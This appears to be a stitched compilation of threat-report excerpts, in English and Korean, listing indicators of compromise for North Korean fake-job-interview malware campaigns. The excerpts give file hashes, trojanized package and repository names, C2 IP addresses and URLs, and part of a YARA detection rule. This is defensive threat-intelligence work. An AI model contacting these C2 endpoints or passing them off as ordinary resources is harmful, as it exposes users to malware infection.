dfee6ea9cafc674b93a8460b9e6beea7f0eb0c28e28d1190309347fd1514dbb6 SHA256 (teamsSDK.bin) = 871d8f92b008a75607c9f1feb4922b9a02ac7bd2ed61b71ca752a5bed5448bf3 SHA256 (ZoomApp.zip) = 24af069b8899893cfc7347a4e5b46d717d77994a4b140d58de0be029dba686c9 Filename: localencode Filename: OneDrive Filename:…","…### NPM packages react-svg-plugin react-svg-config ### File hashes 87e7f4ac95f090f9965175935955fdc02bee4b1bf417855bc65ff4bde9f271e5 ./beavertail # sample test-assessment 54a5c5cb16bdd482bd4147200557d3a94e413f9e9aebbf4818e76f16331bc6dc ./beavertail # sample…","…(OneDrive) = a9562ab6bce06e92d4e428088eacc1e990e67ceae6f6940047360261b5599614 SHA256 (SystemApp.zip) = 89616a503ffee8fc70f13c82c4a5e4fa4efafa61410971f4327ed38328af2938 SHA256 (TeamsApp.zip) = dfee6ea9cafc674b93a8460b9e6beea7f0eb0c28e28d1190309347fd1514dbb6 SHA256 (teamsSDK.bin) =…","…ma1.lnk (임의명명) 12 MD5 913fe4236ca5e34879d2a3228da6b9c6 2tt.vbs (ma1.lnk) 13 MD5 89a725b08ab0e8885fc03b543638be96 ma2.lnk (임의명명) 14 MD5 12bfe00206b2e83c7ff79b657d3c56df 2tt.vbs (ma2.lnk) 15 C2…","…Theft and Espionage Sensitive Data Exposure Indicators of Compromise IP 103.149.98.247 MD5 a9b1c04438930c0c7cff3fe8e8520317 89a725b08ab0e8885fc03b543638be96 6013a54ceee15912385ef8c41405a819 SHA-256…","…11 fcde319b752cacec40ffba130067de0d 8c33e8439844c315b7b3f21b0c1633aa 8ff155a2962c77e9da05bd0476af36be 12bfe00206b2e83c7ff79b657d3c56df 89a725b08ab0e8885fc03b543638be96 627b856884604880a5c009ebf7173efb 913fe4236ca5e34879d2a3228da6b9c6 3297e3606d6466bc7f741a4df2b9e96a 0a9c22079c898fc112e67ce1caff8f54…","…SHA256 HTML landing page December 2024 8a8c57eedca1bd03308198a87cae7977d3c385f240c5c62ac7c602126a1a312f SHA256 JavaScript executes PowerShell December 2024 ET Rules 2061585 - ET PHISHING Observed DNS…","…db5d59 5527f0acb4755e4402434f84c0aac602260e0736f7fdb62cdc329955d47ffe3b 7790c55c5dded39c0a6a0eabf05665ce96762047db20ae8e472715461080237d 8b6d6807213c21c84192cc697d96396eced341f342161045df990830d371b70c 13412b54e3e8f30d3179e54cc653dc651e8cbe43d625c96451942910c91e76b9 52046ad374041f0cabc47e897e10de86b64997ed6da8123d067dac7ead5343b7 C&C…","…on Windows could spread the malware to Linux production servers simply by opening VSCode. Payload1_2_1 (InfoStealer Stager) SHA256: 8c0233a07662934977d1c5c29b930f4acd57a39200162cbd7d2f2a201601e201 We now have the payload from the HTTP request via http://23.27.20.143:27017/$/boot . Deobfuscation The previous payload was the…","…08 ca13c54987293ae7efc22b14e1153c1e d10208c32fbbb5cacbd2097fc0dcd444 fc4c319d7940ad1b7c0477469420bd11 fcde319b752cacec40ffba130067de0d 8c33e8439844c315b7b3f21b0c1633aa 8ff155a2962c77e9da05bd0476af36be 12bfe00206b2e83c7ff79b657d3c56df 89a725b08ab0e8885fc03b543638be96 627b856884604880a5c009ebf7173efb 91…","…SHA256 e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff SHA1 ae39c4c550ad656622736134035f17ca7a66a742 MD5 8c782b59a786f18520673e8d669e3b0a Size 203 bytes Type PowerShell Detection 1/76 VT Tags powershell , detect-debug-environment First Submitted…","…via Curl for Windows Observables The following observables were discussed in this research. Observable Type Name Reference 8e571d58794b9b44ae53c2c67bedef72c500e8adbb80aab7a5c263adcba55b1e SHA-256 ecommerce-main.zip Trojanized repository 3e6360f83a95540aa2176d279ca4694513afb1e5116a7ffe591c6b5bcf3b9c3c SHA-256…","…4d875294e 72ebfe69c69d2dd173bb92013ab44d895a3367f91f09e3f8d18acab44e37b26d caad2f3d85e467629aa535e0081865d329c4cd7e6ff20a000ea07e62bf2e4394 8efa928aa896a5bb3715b8b0ed20881029b0a165a296334f6533fa9169b4463b 77aec48003beeceb88e70bed138f535e1536f4bbbdff580528068ad6d184f379 0904eff1edeff4b6eb27f03e0ccc759d6aa8d4e1317a1e6f6586cdb84db4a731 d27c9f75c…","…1e d10208c32fbbb5cacbd2097fc0dcd444 fc4c319d7940ad1b7c0477469420bd11 fcde319b752cacec40ffba130067de0d 8c33e8439844c315b7b3f21b0c1633aa 8ff155a2962c77e9da05bd0476af36be 12bfe00206b2e83c7ff79b657d3c56df 89a725b08ab0e8885fc03b543638be96 627b856884604880a5c009ebf7173efb 913fe4236ca5e34879d2a3228da6b9c6 32…","…URLs https://data-kappa.vercel.app/ https://auth-rho-dun.vercel.app/api C2 Payload Hashes (SHA256) 904afe0337fbbd79def403b3204f75b4c5fbe4e2271252d22c0307f9cbd14646 (data-kappa) a507b74b6b1e25444c586bc67ae0244cba3037f2b39f25f7eb507ded97c373c1 (auth-rho-dun) Blockchain C2 Addresses Tron:…","…사용 가능한 환경변수 최소화 인기 패키지의 타이포스쿼팅 변종( chai-as-* 등)에 대한 지속적인 모니터 IoC Indicator Type Description Detection Name 90708BF06B972FBDE9AE254AA3E0F835 MD5 index.js Trojan.Script.Agent 860DB751FC7700524BD3895B43DAB67C MD5 chai-as-init-1.4.5.tgz Trojan.Script.Agent…","….vscode/tasks.json running fa-solid-300.llf , in GulamRosul/Curved-navigation-bar SHA-256 90a3875ff84a53473107a03cec6ad19636da0cc0eccb02c036d03b8f2a5dff28 Same tasks.json with Windows line endings, in diegovillariber-backend and rk-dodani-backend Build markers A8 , A8-n* , 9-10094 ,…","…tmp.xlsx.lnk (임의명명) 11 MD5 a523bf5dca0f2a4ace0cf766d9225343 ma1.lnk (임의명명) 12 MD5 913fe4236ca5e34879d2a3228da6b9c6 2tt.vbs (ma1.lnk) 13 MD5 89a725b08ab0e8885fc03b543638be96 ma2.lnk (임의명명) 14 MD5…","…aa 8ff155a2962c77e9da05bd0476af36be 12bfe00206b2e83c7ff79b657d3c56df 89a725b08ab0e8885fc03b543638be96 627b856884604880a5c009ebf7173efb 913fe4236ca5e34879d2a3228da6b9c6 3297e3606d6466bc7f741a4df2b9e96a 0a9c22079c898fc112e67ce1caff8f54 C2…","…(일부 난독화) 2 MD5 30ed90b4a570d6ff0c29759bfff491c2 OtterCookie (난독화X) 3 MD5 9154c7d643e6d762dd1ab1df9125e4ea BeaverTail+OtterCookie (난독화) 4 MD5 ef13692228ee8e929c6e2e463b1ec30b BeaverTail+OtterCookie (json, 난독화)…","…ce8bd2c7e2ccd71fc62bcfb29ce5b0d91efaff4c51f629195efb0293184d SHA256:ee93c0caa82ed4b362b1f13b230687cf403fea83f7a7e3090c9bbe08955878c4 SHA256:91c47f8ddb5a937c461bee6021569544e6fa009e103e6f34b59b9d342338b76d FileName:/tmp/exec_throttle.lock Important note: Some engines, such as Moonlock ’s (whose work we love ), detect this variant as “…","…C2 ns.openroute.dev DNS infrastructure related to attack File: IndicatorValueCompromised File apifox-app-event-tracking.min.js SHA256 91d48ee33a92acef02d8c8153d1de7e7fe8ffa0f3b6e5cebfcb80b3eeebc94f1 Original Size~34 KBCompromised Size~77 KB Host-based: Presence of _rl_headers and _rl_mc keys in Apifox LevelDB local…","…variant SHA-256 1a21bad1df69b51efebfd2fae849ac27722b0dfac7b1cb459cf81d38b36f9705 fa-solid-900.woff2 , 900 variant SHA-256 91e334655d31f84963e6b9369d41698f51b00d7a203cf314ceba01780e6f337c eslint.config.mjs at 1b16bd46b7 SHA-256 fbf0e36dd7eb1e70fc4868a8d0d0cd8f6c80753241cd88a3518f40e9a67d232e .vscode/tasks.json at…","…macOS Payload Analysis — NukeSped RAT Attribute VT-Verified Value SHA256 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a SHA1 13ab317c5dcab9af2d1bdb22118b9f09f8a4038e MD5 7a9ddef00f69477b96252ca234fcbeeb Size 657,424 bytes (642 KB) Type…","…Windows persistence ( system.bat ) f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd macOS ( com.apple.act.mond ) 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a New IOCs C2 callnrwise.com 142.11.196.73 142.11.199.73 Hash…","…Windows LOLBin Windows Terminal copy, used as PowerShell proxy /Library/Caches/com.apple.act.mond macOS binary SHA-256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a /tmp/ld.py Linux loader SHA-256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf packages.npm.org/product1 npm…","…SHA256 fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf WAVESHAPER.V2 (Linux) 6 SHA256 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a WAVESHAPER.V2 (macOS) 7 SHA256 5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd…","…SHA256 ldbdump.exe 2883b1ae430003f3eff809f0461e18694ee1e2bc38c98f9eff22a50b5043a770 SHA256 XMRig.exe 94186315edde9ab18d6772449bb0b33a37490c336fccbc81bc7a6b6b728232b1 SHA256 xmrig_config.json 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5 SHA256 XMRig_Driver.sys C:\\Tsunami\\Tsunami…","…V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. MD5 3aed5502118eb9b8c9f8a779d4b09e11 84d25292717671610c936bca7f0626f5 94ef379e332f3a120ab16154a7ee7a00 b29ddcc9affdd56a520f23a61b670134 URL…","…can help prevent malware infection in advance. MD5 3aed5502118eb9b8c9f8a779d4b09e11 84d25292717671610c936bca7f0626f5 94ef379e332f3a120ab16154a7ee7a00 b29ddcc9affdd56a520f23a61b670134 URL…","…repository 54bf36910d81ab516037cb3d69d7c85190f90aa0da9e58617799c1fc738dc5a9 SHA-256 ecommerce-platform.zip Trojanized repository 96357529d17c4690826d5d4c74deac51743a5388733b3f04004d898f0635ef20 SHA-256 shop-main.zip Trojanized repository 9df01d242ef46adfedf8c35cb7cc67b1d27d7dc4a1ce74ab32e984090d579886 SHA-256…","…SHA256 fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf SHA1 59faac136680104948e083b3b67a70af9bfa5d5e MD5 9663665850cdd8fe12e30a671e5c4e6f Size 12,323 bytes Type Python Detection 2/76 (initially 0/76, Kaspersky + Avira added detection) VT Tags python…","…a803c043e12a5dac467fae092b75aa08b461b8e9dd4c769cea375ff87287a361 d05f805d172583f1436eac2cfddcc5413ef6be0b37eda98ebca0cb0cfae8ad9e 96e78074218a0f272f7f94805cabde1ef8d64ffb 86dea05a8f40cf3195e3a6056f2e968c861ed8f1 321972e4e72c5364ec1d5b9e488d15c641fb1819 3405469811bae511e62cb0a4062aadb523cad263…","…Cradle Attribute VT-Verified Value SHA256 f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd SHA1 978407431d75885228e0776913543992a9eb7cc4 MD5 089e2872016f75a5223b5e02c184dfec Size 265 bytes Type PowerShell Detection 3/76 VT Label trojan.powershell…","…bd9ed4 78c8b9044f6029280d28a1f62a4414a22e870fc27e3cc4894bd077d17f2ad8b4 4e6a7bf3964fc0e3a655f062330c76b4876dcfac47d213e4c1f0ec3fe6ef9e12 978e8f161da04e00117a695aa59452dce89b5247db93ab7cedcaea3c1f26b8c8 da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4 Pastebin Dead-Drop URLs #…","…Indicators of compromise (IoCs) Binaries /Library/RestoreKey/com.apple.siri.updater MD5: 032E3E9A09F58A5B776C7374FC66D822 SHA1: 97EE87A342C9977383161185DE934B2BE27BD01A SHA256: 036CA0A9D6A87E811F96F3AAADD8D0506954716CDB3B56915FC20859F1363C2F Users/user/Library/com.apple.wifi.updater/Wi-Fi…","…6d15c4ffb3abadcac3ec4299714f35ca4b732ad7db3d268712ee0692d713 SHA256:0a716920017fba0b70b7295c6d7a06710df38c0d6158a12d3723343919da7fd2 SHA256:97fe475a4177de4e55f3791276fb0553f28fcc19d4edb73038c1ad7238ae265f SHA256:6ce66f7a2fe04fb451f12bcf4a1ac1c27b3fc02fac72c177d02f547c705e03e1 References Level Blue Labs OTX - Original Intelligence…","…SHA1 3630d9daeb501bf345299aacc710fd68aa7a154f 98746c50fc4aa656fe3a5747cc05ecaa7c17243b 64c3b90c4093091c4cdedce4b7807dd790323624 a94cef78aa9f22284c7e733680a1369caa50f035 Remediation Block all threat indicators at your…","…IoC 정보 NO Type Data Info 1 MD5 98a8d1c6fc75fcf0c8cc8ae45edb387f prepare-writer.js (snore-log) 2 MD5 484ff14e1532d43c92c8e2911f35f5c6 token_log.js (dev-debugger-vite)…","…Payload (Unix-like) com.apple.systemevents Payload (Unix-like) systemd-resolved SHA-256 (Linux) 9a541dffb7fc18dc71dbc8523ec6c3a71c224ffeb518ae3a8d7d16377aebee58 SHA-256 (macOS) bb2a89001410fa5a11dea6477d4f5573130261badc67fe952cfad1174c2f0edd SHA-256 (Windows)…","…IoC 정보 NO Type Data Info 1 MD5 9a9b4f36809506529a85e915d3cf5057 zoom 2 MD5 4036fee4fbe561315ff183e1dcc3e83f ramsey (UPX Unpack) 3 MD5…","…of Compromise BeaverTail Installer - macOS DMG disk image: 000b4a77b1905cabdb59d2b576f6da1b2ef55a0258004e4a9e290e9f41fb6923 9abf6b93eafb797a3556bea1fe8a3b7311d2864d5a9a3687fce84bc1ec4a428c SHA256 hash for BeaverTail - macOS Mach-O executable file: 0f5f0a3ac843df675168f82021c24180ea22f764f87f82f9f77fe8f0ba0b7132…","…Node process.env exfiltration and response payload endpoint Hashes SHA-256 Hash Description 9b5394f76c5a71965593159d82281f6763944e6742e87a8647c464691b48763c updatedriver.py (part of PylangGhost) 200cd1d874e345a3a3f04d2059f2a1a01e6769a7720c2a43b2e5dd85b77c7e64 updatedriver.go (part of…","…Windows launcher script e79b827b3cc29e940736dc20cc9c25958c0b09c25fc0bc8aacbd6365f38db71f SHA256 nvidiasdk.exe BeaverTail PE file 9bc46c59e734b2389328a5103739f42bed7d820c73f75c49cc5a2e8cacfe8940 SHA256 First unnamed piped bash script in Linux infection chain e224a1db42ae2164d6b2f2a7f1f0e02056e099fc8d669ce37cdaa0a2a2750e3b…","…Trojanized repository 96357529d17c4690826d5d4c74deac51743a5388733b3f04004d898f0635ef20 SHA-256 shop-main.zip Trojanized repository 9df01d242ef46adfedf8c35cb7cc67b1d27d7dc4a1ce74ab32e984090d579886 SHA-256 ecommerce-platform-main.zip Trojanized repository c5aed4c063d4970a03250778da8041da9e0c83d8f22d2f1994da0ad72567ebd9 SHA-256…","…908712e47 6a9b4e8537bb97e337627b4dd1390bdb03dc66646704bd4b68739d499bd53063 a6914ded72bdd21e2f76acde46bf92b385f9ec6f7e6b7fdb873f21438dfbff1d 9e65de386b40f185bf7c1d9b1380395e5ff606c2f8373c63204a52f8ddc01982 dff2a0fb344a0ad4b2c129712b2273fda46b5ea75713d23d65d5b03d0057f6dd http://23.227.202.244:1224/uploads http://23.227.202.244:1224/pdown http:/…","…Here’s what was delivered: Attribute Value Size 28MB SHA256 9ec622624f5f07c5d86e6048f2710de1e9c5ac7c6a6fad4fcb31121bb67c0239 File type gzip compressed data, was “result.tar”, last modified: Thu Apr 23 18:32:08 2026 Unpacked, it’s a big bundle of PylangGhost…","…artifact hashes - ZIP SHA-256: `b2545579ec4d36b1ad7d4e30221293ebb1ae472e9d8fb440e80a90a7e7db019d` - `.git/hooks/post-checkout` SHA-256: `9f63eb04c513bd8c12c2d7efce7b764d9731990fd434814899bd6621255262e9` - Hidden JavaScript payload SHA-256: `fb7f9d7b0b8dbd76feeed437378493c6142f728db8e726417d20cec5735bf9f5` - Hidden JavaScript payload size:…","…SHA256 f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd system.bat(Windows) 13 SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f wt.exe(Windows), PowerShell 바이너리의 이름이 변경 14 SHA256…","…to remain vigilant against such socially engineered attacks. Indicators of Compromise (IOCs) Type Indicator SHA256 (Sample) a206ea9b415a0eafd731b4eec762a5b5e8df8d9007e93046029d83316989790a (auto.py) C2 Servers http[://]31.57.243.29:8080 Download Host api.quickcamfix.online Fake Job Site krakenhire.com Find this…","…IOCs The IOCs can also be found in our GitHub repository here . SHA256 a206ea9b415a0eafd731b4eec762a5b5e8df8d9007e93046029d83316989790a - auto.py c2137cd870de0af6662f56c97d27b86004f47b866ab27190a97bde7518a9ac1b -…","…SHA256 Packed Sample from Onion 28660b81fd4898da3b9a861af716dc2ed60dd6a6eb582782e9d8451b1f257630 SHA256 Unpacked Sample from Onion a2ae1da09f7508ff34bd9acc672b3cf456e053bb46d4aa3cd283a7f263e37acb SHA256 23.254.229.101 IPv4 http://23.254.229.101/cat-video URL Hosts Tsunami-Installer…","…Data Info 1 MD5 a7b23cd8b09a3ce918a77de355e9d3e5 ipmsg5.6.18_installer.exe 2 MD5 a31f8f6e6078f9f59d195e3e2f29d1b3 ATT_Loader_DLL.dll 3 MD5 8459e1c6f6c1d3996b3a86146eb961bf Loader1.dll 4 MD5…","…unit ~/.config/systemd/user/MicrosoftSystem64.service Lock file .pkg-agent.lock in the temporary directory Payload SHA-256 (2.12.2) a3c28435295fed4babdeefedcefdd0ed037ff24ed3ff363a49d080c2768d07f2 Payload SHA-256 (2.12.3) 3a9089e9db3650dd6d1584fae709022002dc34854b961abfb014a90f0a7c6a50 Launcher SHA-256…","SHA-256 of the obfuscated first-stage payload served by the auth-rho-dun Vercel C2 endpoint in the Neutralinojs compromise, per OpenSourceMalware's indicator table. OpenSourceMalware attributes the campaign to DPRK Contagious Interview from the GitHub persona and the BeaverTail final payload.","…33283112.bat 10 MD5 a9b1c04438930c0c7cff3fe8e8520317 tmp.xlsx.lnk (임의명명) 11 MD5 a523bf5dca0f2a4ace0cf766d9225343 ma1.lnk (임의명명) 12 MD5 913fe4236ca5e34879d2a3228da6b9c6 2tt.vbs (ma1.lnk) 13 MD5…","…침해 지표 (Indicator of Compromise) MD5 56233bac07f4f9c43585e485e70b6169 a523bf5dca0f2a4ace0cf766d9225343 ad6104a503b46bf6ea505fe8b3182970 bf795a376233032d05766a396b3d6e08 ca13c54987293ae7efc22b14e1153c1e d10208c32fbbb5cacbd2097fc0dcd444 fc…","…Indicator of Compromise MD5 56233bac07f4f9c43585e485e70b6169 a523bf5dca0f2a4ace0cf766d9225343 ad6104a503b46bf6ea505fe8b3182970 bf795a376233032d05766a396b3d6e08 ca13c54987293ae7efc22b14e1153c1e d10208c32fbbb5cacbd2097fc0dcd444 fc…","…fedb71974 d89c45d65a825971d250d12bc7a449321e1977f194e52e4ca541e8a908712e47 6a9b4e8537bb97e337627b4dd1390bdb03dc66646704bd4b68739d499bd53063 a6914ded72bdd21e2f76acde46bf92b385f9ec6f7e6b7fdb873f21438dfbff1d 9e65de386b40f185bf7c1d9b1380395e5ff606c2f8373c63204a52f8ddc01982 dff2a0fb344a0ad4b2c129712b2273fda46b5ea75713d23d65d5b03d0057f6dd http://23…","…Information Theft and Espionage Exposure to Sensitive Data Indicators of Compromise Domain Name cryptocopedia.com MD5 a7b23cd8b09a3ce918a77de355e9d3e5 SHA-256 33be1a646e5ed46aa707455637e2116715592d1ef63feafb0fd2f66c872a634d SHA1 1ceae13ab464747fe3a43b8040f5f86cce780afc URL…","…IoC 정보 NO Type Data Info 1 MD5 a7b23cd8b09a3ce918a77de355e9d3e5 ipmsg5.6.18_installer.exe 2 MD5 a31f8f6e6078f9f59d195e3e2f29d1b3 ATT_Loader_DLL.dll 3 MD5…","…7 MD5 53faeba2887693d8810c58f7ca13041f prepare-writer.js (node-clog) 8 MD5 a7e5334e37358902442c891e5d0008f8 index.js (is-buffer-validator) 9 MD5 35259b4caa400e4d663069a7f32f0138 icloud-cod.js (icloud-cod)…","…e52118fc7fc9b14e5a8d9f61dfae8b140488ae6ec6f01f41d9e16782febad5f2 c6472eb993612db72ca50893a34137ba11173e60a1a4c028d4660a3f755d2490 a803c043e12a5dac467fae092b75aa08b461b8e9dd4c769cea375ff87287a361 d05f805d172583f1436eac2cfddcc5413ef6be0b37eda98ebca0cb0cfae8ad9e 96e78074218a0f272f7f94805cabde1ef8d64ffb…","…RAT Attribute VT-Verified Value SHA256 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 SHA1 a90c26e7cbb3440ac1cad75cf351cbedef7744a8 MD5 04e3073b3cd5c5bfcde6f575ecf6e8c1 Size 11,042 bytes (382 lines) Type PowerShell Detection 12/76 VT Label…","…SHA1 3630d9daeb501bf345299aacc710fd68aa7a154f 98746c50fc4aa656fe3a5747cc05ecaa7c17243b 64c3b90c4093091c4cdedce4b7807dd790323624 a94cef78aa9f22284c7e733680a1369caa50f035 Remediation Block all threat indicators at your respective controls. Search for indicators of compromise (IOCs) in your environment…","…(D1YrHRTg.bin) = 0f41fd82cac71e27c36eb90c0bf305d6006b4f3d59e8ba55faeacbe62aadef90 SHA256 (localencode) = a9562ab6bce06e92d4e428088eacc1e990e67ceae6f6940047360261b5599614 SHA256 (macrasv2) = 85bed283ba95d40d99e79437e6a3161336c94ec0acbc0cd38599d0fc9b2e393c SHA256 (MauroDPRKSamples.zip) =…","…Payload SHA-256 (2.12.3) 3a9089e9db3650dd6d1584fae709022002dc34854b961abfb014a90f0a7c6a50 Launcher SHA-256 aa01a83c7a420c22a719b02ec327451ddd751ab5b189fd0127824ea43533b96a Related advisories MAL-2026-6672, MAL-2026-11205, MAL-2026-5882 malware npm supply-chain…","…en/56e15ef3b5e5f169fc063f8d3e88288e URL:http://chainlink-api-v3.cloud/api/ URL:https://bitbucket.org/0xhpenvynb/mvp_gamba/downloads/ SHA256:aa0d64c39680027d56a32ffd4ceb7870b05bdd497a3a7c902f23639cb3b43ba1 SHA256:071aff6941dc388516d8ca0215b757f9bee7584dea6c27c4c6993da192df1ab9 SHA256:486f305bdd09a3ef6636e92c6a9e01689b8fa977ed7ffb898453c43d47b5…","…# macOS e361d2859ba2eb2540bf6fb12db0b9857ef610bb9920830921e986d4b9109e89 # Windows accf04ad3228a22532d2f5802a5b0c379c3616564c4766fc1f1ca20dac8dba07 # Decoy \"Permanently suspended\" page # Additional package/component hashes…","…침해 지표 (Indicator of Compromise) MD5 56233bac07f4f9c43585e485e70b6169 a523bf5dca0f2a4ace0cf766d9225343 ad6104a503b46bf6ea505fe8b3182970 bf795a376233032d05766a396b3d6e08 ca13c54987293ae7efc22b14e1153c1e d10208c32fbbb5cacbd2097fc0dcd444 fc4c319d7940ad1b7c0477469420bd11 fc…","…Indicator of Compromise MD5 56233bac07f4f9c43585e485e70b6169 a523bf5dca0f2a4ace0cf766d9225343 ad6104a503b46bf6ea505fe8b3182970 bf795a376233032d05766a396b3d6e08 ca13c54987293ae7efc22b14e1153c1e d10208c32fbbb5cacbd2097fc0dcd444 fc4c319d7940ad1b7c0477469420bd11 fc…","…blockchain C2 loader 2 @joyfill/components@4.0.0-rc24-2773-beta.4 npm package 1 Chains to malicious layouts via dependency 3 adc4af90540d33cd1e98f44b51482ae9250fbeb97d6f8d7841c81b618cb2c6e6 SHA-256 1 layouts tarball hash 4 bcc93dc55bc7daedf4ca57254f0e7a7f1c40e09851eab98fe10cde801982db17 SHA-256 1 components tarball hash 5…","…, dist/index.es.js Components: dist/index.js , dist/index.esm.js , dist/joyfill.min.js SHA-256 # Layouts archive: adc4af90540d33cd1e98f44b51482ae9250fbeb97d6f8d7841c81b618cb2c6e6 Layouts CommonJS bundle: 8e8b90dedd456ded0c5748119836e1ca1066112bc569c1b41ca70eb931d1d4dc Layouts ESM bundle:…","…zoom 2 MD5 4036fee4fbe561315ff183e1dcc3e83f ramsey (UPX Unpack) 3 MD5 ae10f33eabaa385d671b184bc13bdfe7 loader(추정) (UPX Unpack) 8.…","…File Attribute VT-Verified Value SHA256 e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff SHA1 ae39c4c550ad656622736134035f17ca7a66a742 MD5 8c782b59a786f18520673e8d669e3b0a Size 203 bytes Type PowerShell Detection 1/76 VT Tags powershell ,…","…(dev-debugger-vite) 3 MD5 b30ad48b17e7191062fc47c9803b960f writer.js (core-pino) 4 MD5 afefc11502dfcb3696e6028c5c6fc36c report.js (cln-logger) 5 MD5 7eb685fd9f3898577ee3082cedb29510 regMsgEx.js (consolidate-log) 6…","…Dropper Attribute VT-Verified Value SHA256 e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 SHA1 b0e0f12f1be57dc67fa375e860cedd19553c464d MD5 7658962ae060a222c0058cd4e979bfa1 Size 4,209 bytes Type JavaScript (minified, single line) Detection 2/76 VT Tags…","…(Linux), MicrosoftSystem64.exe (Windows), MicrosoftSystem64-darwin-x64 / MicrosoftSystem64-darwin-arm64 (macOS) SHA-256 (Linux ELF) b2954c945b51dbd6fa88ac72338b7fbf76dec7d9909ceada9d36b21330842c97 File size 85,134,080 bytes (81 MB) Binary version 1.0.8 Node.js version v20.18.2 (statically linked SEA) C2 server…","…차단할 수 있도록 신경 써야 한다. MD5 3aed5502118eb9b8c9f8a779d4b09e11 84d25292717671610c936bca7f0626f5 94ef379e332f3a120ab16154a7ee7a00 b29ddcc9affdd56a520f23a61b670134 URL…","…in advance. MD5 3aed5502118eb9b8c9f8a779d4b09e11 84d25292717671610c936bca7f0626f5 94ef379e332f3a120ab16154a7ee7a00 b29ddcc9affdd56a520f23a61b670134 URL…","…b6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182 C2…","…Hashes (SHA256) ede7f3ece611ba6c1ac4a02cf6a618b4ebd7eec6d9426b2baab3b5e26246e275 b302be4f9c515eb68d3e8b1ad8388d45b788eca34e7d53726d05c310a8f66af7 18ec3c93e076e16447aee6fa390a44d3cb03e7f46e8466535ee76ed2041a88e5 75a82b9a2e7cfa0002fbbd1dbcb0bfaf5f6333169fd53507f7119593b9c4482e e3ed63…","…(snore-log) 2 MD5 484ff14e1532d43c92c8e2911f35f5c6 token_log.js (dev-debugger-vite) 3 MD5 b30ad48b17e7191062fc47c9803b960f writer.js (core-pino) 4 MD5 afefc11502dfcb3696e6028c5c6fc36c report.js (cln-logger) 5 MD5…","…upload server Host-Based Indicators Description SHA-256 Hash File Name DEEPBREATH b452C2da7c012eda25a1403b3313444b5eb7C2c3e25eee489f1bd256f8434735 /Library/Caches/System Settings SUGARLOADER 1a30d6cdb0b98feed62563be8050db55ae0156ed437701d36a7b46aabf086ede…","…SHA256 b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde2…","…\"2023-04-24\" classification = \"TLP:WHITE\" reference = \"https://tinyurl.com/5n7f56a8\" hash = \"606bce13161693844b9eb36c96554883\" hash = \"b93d7b7b30207249c1c683df16bad107\" hash = \"ca86579220eecfaede268d1520d07fae\" hash = \"f8800dd176487601ccf2e27c094b297b\" strings: $down_exec1 = \"_down_update_run\" nocase…","…4203b9 714f890308d2cfebb2ed3ae873697408372639260bb682ea4cfbfffec98b8add 1b15f73054350c6ab42f6e1d2ce4d84d7c56821db699e4ec484541263dfcb636 ba3e520b9727e893cf07b0c1a6e6ce1a62e8e9bf28b5c771af4fdf01f9bd9ed4 78c8b9044f6029280d28a1f62a4414a22e870fc27e3cc4894bd077d17f2ad8b4 4e6a7bf3964fc0e3a655f062330c76b4876dcfac47d213e4c1f0ec3fe6ef9e12 978e8f…","…410BB449A-72C6-4500-9765-ACD04JBV827V32V SHA-256 Hashes # 9a541dffb7fc18dc71dbc8523ec6c3a71c224ffeb518ae3a8d7d16377aebee58 — Linux bb2a89001410fa5a11dea6477d4f5573130261badc67fe952cfad1174c2f0edd — macOS 7c5adef4b5aee7a4aa6e795a86f8b7d601618c3bc003f1326ca57d03ec7d6524 — Windows MITRE ATT&CK # T1195.001 — Compromise Software…","…systemd-resolved SHA-256 (Linux) 9a541dffb7fc18dc71dbc8523ec6c3a71c224ffeb518ae3a8d7d16377aebee58 SHA-256 (macOS) bb2a89001410fa5a11dea6477d4f5573130261badc67fe952cfad1174c2f0edd SHA-256 (Windows) 7c5adef4b5aee7a4aa6e795a86f8b7d601618c3bc003f1326ca57d03ec7d6524 Registration email…","…SHA256 Tor.exe b25e1a54e9c53bf6367c449be46f32241d1fd9bf76be9934d42c121105fb497d SHA256 AMD_Compute_Mode_Enabler.reg bb3af0c03e6b0833fa268d98e5a8b19e78fb108a830b58b2ade50c57e9fc9bed SHA256 ETHW_Miner.exe f96744a85419907e7c442b13beeefb6f985f3905a992dfefee03820ec6570fea SHA256 ldbdump.exe…","…ngen.exe (dropped): c197268f7e7cf2848b8c1ae59bbd0e0c14defe668a2d365302137ea929b47769 schtasks child (loader): bc866cfcdda37e24dc2634dc282c7a0e6f55209da17a8fa105b07414c0e7c527 Note: hashes for the 